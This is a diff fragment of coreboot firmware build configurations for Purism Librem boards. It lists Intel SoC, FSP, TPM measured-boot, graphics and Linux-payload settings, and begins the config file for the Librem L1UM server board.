+CONFIG_CPU_XTAL_HZ=24000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +# CONFIG_ENABLE_SATA_TEST_MODE is not set +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_MAX_HECI_DEVICES=5 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y +CONFIG_SOC_INTEL_KABYLAKE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +# CONFIG_USE_INTEL_FSP_MP_INIT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SA_ENABLE_DPR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_MMA is not set +CONFIG_SOC_INTEL_COMMON_NHLT=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_kbl/cpu_microcode_blob.bin" + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_UDK_BASE=y +CONFIG_UDK_2017_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=2017 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_RUN_FSP_GOP is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_FSP_USE_REPO=y +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y +CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y +CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Skylake" +CONFIG_GFX_GMA_PCH="Sunrise_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_IOAPIC=y +CONFIG_ACPI_NHLT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +# CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_SPD_READ_BY_WORD=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_l1um.config b/config/coreboot-librem_l1um.config index c9333f7fe..3a1fe7b44 100644 --- a/config/coreboot-librem_l1um.config +++ b/config/coreboot-librem_l1um.config @@ -1,23 +1,720 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_COMPRESS_RAMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +# CONFIG_NO_RELOCATABLE_RAMSTAGE is not set +CONFIG_RELOCATABLE_RAMSTAGE=y +# CONFIG_UPDATE_IMAGE is not set +# CONFIG_BOOTSPLASH_IMAGE is not set CONFIG_MEASURED_BOOT=y + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_ADI is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_ADVANSUS is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_AVALUE is not set +# CONFIG_VENDOR_BAP is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_ELMEX is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ESD is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GIZMOSPHERE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IEI is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_JETWAY is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIPPERT is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PORTWELL is not set CONFIG_VENDOR_PURISM=y +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SCALEWAY is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TYAN is not set +# CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_DIR="purism/librem_l1um" +CONFIG_MAINBOARD_PART_NUMBER="LIBREM_L1UM" +CONFIG_MAX_CPUS=32 